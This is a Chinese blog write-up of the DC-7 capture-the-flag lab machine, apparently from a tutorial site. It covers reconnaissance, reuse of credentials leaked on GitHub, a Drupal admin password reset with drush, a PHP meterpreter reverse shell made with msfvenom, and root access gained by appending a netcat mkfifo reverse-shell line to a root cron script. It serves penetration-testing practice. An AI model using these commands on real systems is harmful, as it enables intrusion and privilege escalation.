DC7_靶场实战

DC7_靶场实战

一.环境介绍

虚拟机平台:VMware Workstation Pro

攻击机:Kali2017(IP:10.10.10.133)

靶机:DC-7(IP:10.10.10.134)

二.信息收集

2.1 发现主机
arp-scan -l

在这里插入图片描述

2.2 使用nmap扫描主机

查看端口和服务

nmap -sS -A -p- -T4 10.10.10.134

在这里插入图片描述

三.漏洞挖掘与利用

查看robots.txt,没有发现可利用的东西
在firefox打开10.10.10.134,发现网站是由Drupal框架搭建的,访问80端口,发现是Drupal框架。第一时间想到MSF,搜索drupal,利用几个最新的模块后都没能成功拿到shell。
在这里插入图片描述回到网页发现Drupal是被DIY过的,重点看首页的footer部分,也就是网页的最下方的黑色区域,靶机的除了"Powered by Drupal",还多了一个"@DC7USER"。谷歌搜索"@DC7USER",看有什么发现。
在这里插入图片描述这里本来想选Twitter的,但是打不开,选择第一个进入GitHub寻找源码
在这里插入图片描述看到staffdb,点进去发现有可利用源码
在这里插入图片描述选择config.php,查看发现数据库的账号密码
在这里插入图片描述

用户名:dc7user
密码:MdR3xOgB7#dW

试试能不能登录网站后台,结果不行。尝试用该账号密码登录网站后台无果,尝试登录ssh成功

ssh dc7user@10.10.10.134

在这里插入图片描述

四.提权

查看当前目录下的文件,backups里面有两个加密文件,不可利用,查看mbox文件,发现是一个计划任务:自动备份数据库的执行情况,调用的脚本是/opt/scripts/backups.sh,是root权限执行的。

cat backups/

在这里插入图片描述如果当前用户有脚本的写入权限,那么应该就可以提权了。查看权限发现www-data和root用户才能修改,所以我们需要拿到网站的shell。

ls -l

在这里插入图片描述进入/opt/scripts目录下查看backups.sh的内容

dc7user@dc-7:/opt/scripts$ cat backups.sh 

在这里插入图片描述发现drush、gpg两个陌生的命令,其中drush是专门用来管理Drupal站点的shell,可以用来修改密码在这里插入图片描述网站默认都会有一个admin账号,因此可以修改admin账号的密码,这里要进入/var/www/html目录下才有权限执行该命令,这里修改密码为123465,提示success即修改密码成功。

drush user-password admin --password="123456"

在这里插入图片描述用该账号admin,密码123456登录网站后台,在Content中新建一个Basic page,然后在Title输入页面的名称,在Body中放入反弹shell的PHP代码,Text format的位置选择PHP code。但是从下图中可以看到Text format里面没有PHP code选项。这些都弄好了之后,在kali上监听端口,最后点击Preview按钮。

在这里插入图片描述这里发现没有PHP code,原来出于安全考虑,PHP Filter已经从Drupal核心中移除,后续作为一个module存在,可以通过手动安装。选择URL并点击install

URL:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

在这里插入图片描述点击install后再点击添加新的模块
在这里插入图片描述根据提示启用PHP Filter模块在这里插入图片描述添加成功后的界面
在这里插入图片描述
随后在Content中添加webshell.php,点击Content > Add content > Basic page,先将Text format修改为PHP code,再写入反弹shell

在这里插入图片描述可以直接msfvenom生成一个反弹shell代码

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.133 LPORT=4444 R > DC7_shell.php

在这里插入图片描述
复制反弹shell代码到Body里,Title自定义,完了之后放着别动,先使用metasploit监听端口,然后点击Preview

msfconsole
use exploit/multi/handler
set lhost 10.10.10.133
set lport 4444
run

在这里插入图片描述在这里插入图片描述
在这里插入图片描述点击Preview后反弹成功,接着进入交互shell

shell
python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述我们使用Drupal反弹回来的shell用户是www-data,所以接下来就是将反弹shell的代码附加到backups.sh脚本中(因为计划任务是root权限执行的,反弹回来的shell也会是root用户)

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.133 1234 >/tmp/f" >> backups.sh

在这里插入图片描述
然后在kali中监听相应端口,等待计划任务的执行,执行后便获得rootshell,接着进入交互shell

nc -lvnp 1234
shell
python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述拿下flag
在这里插入图片描述因为记错了kali的ip地址在反弹shell的时候卡了好久,希望大家在做靶机能顺利通关,有所收获,谢谢您的观看,希望这对您会有帮助。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值